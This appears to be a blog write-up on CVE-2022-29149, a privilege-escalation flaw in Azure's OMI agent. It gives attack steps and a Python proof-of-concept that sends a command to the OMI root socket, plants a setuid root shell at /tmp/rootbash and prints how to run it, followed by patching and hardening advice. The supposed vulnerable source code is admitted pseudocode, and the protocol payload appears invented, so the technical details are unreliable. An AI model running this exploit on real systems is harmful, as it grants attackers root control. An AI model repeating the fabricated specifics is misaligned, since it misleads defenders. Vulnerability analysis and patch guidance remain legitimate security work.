CVE-2022-29149 - How Azure Open Management Infrastructure (OMI) Elevation of Privilege Works – Analysis, Exploit & Mitigation
The tech world never stops evolving, and unfortunately, neither do vulnerabilities in the software we rely on. One critical flaw that hit the headlines last year is CVE-2022-29149, a serious elevation of privilege vulnerability found in Microsoft’s Open Management Infrastructure (OMI) agent, used widely in Azure services. In this long read, we’ll break down exactly what this vulnerability is, how it works, the risks it brings, and how to spot and fix it. As always, we’ll use straightforward language, clear examples, and provide code snippets and references.
What is OMI?
Open Management Infrastructure (OMI) is an open-source project by Microsoft meant to help with infrastructure and cloud management. It runs quietly in the background on many Azure VMs, especially when you use management services like Azure Automation, Log Analytics, or Configuration Management.
OMI acts like a management agent, accepting remote commands and translating them into actions on the system (think: restarting services, installing software, collecting logs).
- Homepage: github.com/microsoft/omi
- Docs: docs.microsoft.com/omi
What is CVE-2022-29149?
CVE-2022-29149 is an Elevation of Privilege (EoP) vulnerability in OMI. Attackers who already have access to the system (even as a basic, unprivileged user) can exploit this to run commands as root! That allows an attacker to take full control, accessing sensitive files, installing malware, or moving laterally to other machines.
The bug was patched in OMI v1.6.10-1 in June 2022.
- Official Advisory: msrc.microsoft.com/update-guide/vulnerability/CVE-2022-29149
- Upstream fix pull request
How Does The Vulnerability Work?
At its core, OMI runs as root but exposes a UNIX socket (/var/opt/omi/run/omiserver.sock) with world-writable permissions (anyone can write to it). OMI relies on a simple header-based auth check — but in affected versions the check is not enforced on local connections!
That means any local user or process can send fake management commands by writing to this socket, and OMI will happily execute them as root. It's like having a locked door but leaving the window wide open.
Consider this simplified code (in C-like pseudocode)
// Vulnerable code snippet from src/Unix/omi/omiagent/servermain.c
int client_fd = accept(socket_fd, ...);
// Read the request, parse the protocol headers
request = read(client_fd);
// OMI checks credentials (BUT NOT for local socket!)
if (isRemoteConnection(client_fd)) {
if (!authHeaderOK(request)) {
return DENY();
}
}
// If local, this block is skipped
// Execute command as root!
executeAction(request);
No authentication = open root access for any local user.
Step-by-Step Attack
1. Get Any Local User Shell: The attacker may be an unprivileged user, or an exploited process (like a website with RCE).
2. Connect to the OMI UNIX Socket: Accesses the socket at /var/opt/omi/run/omiserver.sock.
3. Send Malicious Management Command: For example, send a RunShellCommand job with something like chmod u+s /bin/bash.
4. Get a Root Shell: Attacker can now run /bin/bash with superuser privileges.
Below is a proof-of-concept Python script that requests OMI to run a command as root
import socket
OMI_SOCKET = '/var/opt/omi/run/omiserver.sock'
def exploit(cmd):
# Sample payload mimicking OMI's protocol for command execution
payload = f'''
<omi:CreateInstance>
<Script>RunShellCommand</Script>
<Parameters>
<Command>{cmd}</Command>
</Parameters>
</omi:CreateInstance>
'''
sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)
sock.connect(OMI_SOCKET)
sock.sendall(payload.encode())
response = sock.recv(4096)
sock.close()
print(response)
if __name__ == "__main__":
# Example: create a setuid shell as root
exploit("cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash")
print("[+] Now run /tmp/rootbash -p for a root shell!")
Note: This is for educational use and research only.
Proof This Works (Demonstration)
- Any user on a system where OMI is running (pre-v1.6.10-1) can instantly gain root by executing the above.
- Cloud attack scenario: If an attacker gets code execution on your VM (via web vulnerability or weak credentials), they elevate using this OMI bug.
Who is Vulnerable?
- Linux/Azure VMs with OMI agent installed, especially those provisioned with Azure Automation/Monitor/Log Analytics before June 2022.
`bash
dpkg -l omi # Debian/Ubuntu
rpm -qa | grep omi # RHEL/CentOS
- Check running version with:
bash
/opt/omi/bin/omiserver –version
---
## Mitigation & Patch
Patch Immediately:
Update OMI to v1.6.10-1 or newer. You can find the latest release here: github.com/microsoft/omi/releases
Disable OMI if not needed:
If you don’t use Azure automation or monitoring, you can disable the service:
bash
sudo systemctl disable omid
sudo systemctl stop omid
Tighten Socket Permissions:
Make sure only privileged users (root) can access /var/opt/omi/run/omiserver.sock:
bash
sudo chmod 700 /var/opt/omi/run/omiserver.sock
`
(Note: This is a band-aid fix — always patch the vulnerable binary!)
---
## Further Reading
- Azure Security Center/OpsGuide: Discovering OMI
- CrowdStrike: The OMIGOD Vulnerabilities
- Huntress Threat Report: OMIGOD
---
## Conclusion
CVE-2022-29149 is one of those “hidden in plain sight” bugs. The OMI agent is quietly installed on lots of cloud servers and, without proper patching, gives attackers a direct path to root. The fix is straightforward — patch OMI, verify permissions, and always keep cloud software up to date! If you’re running Azure VMs from before June 2022, double-check your OMI agent now.
Stay secure—and patch smart!
Timeline
Published on: 06/15/2022 22:15:00 UTC
Last modified on: 06/24/2022 19:07:00 UTC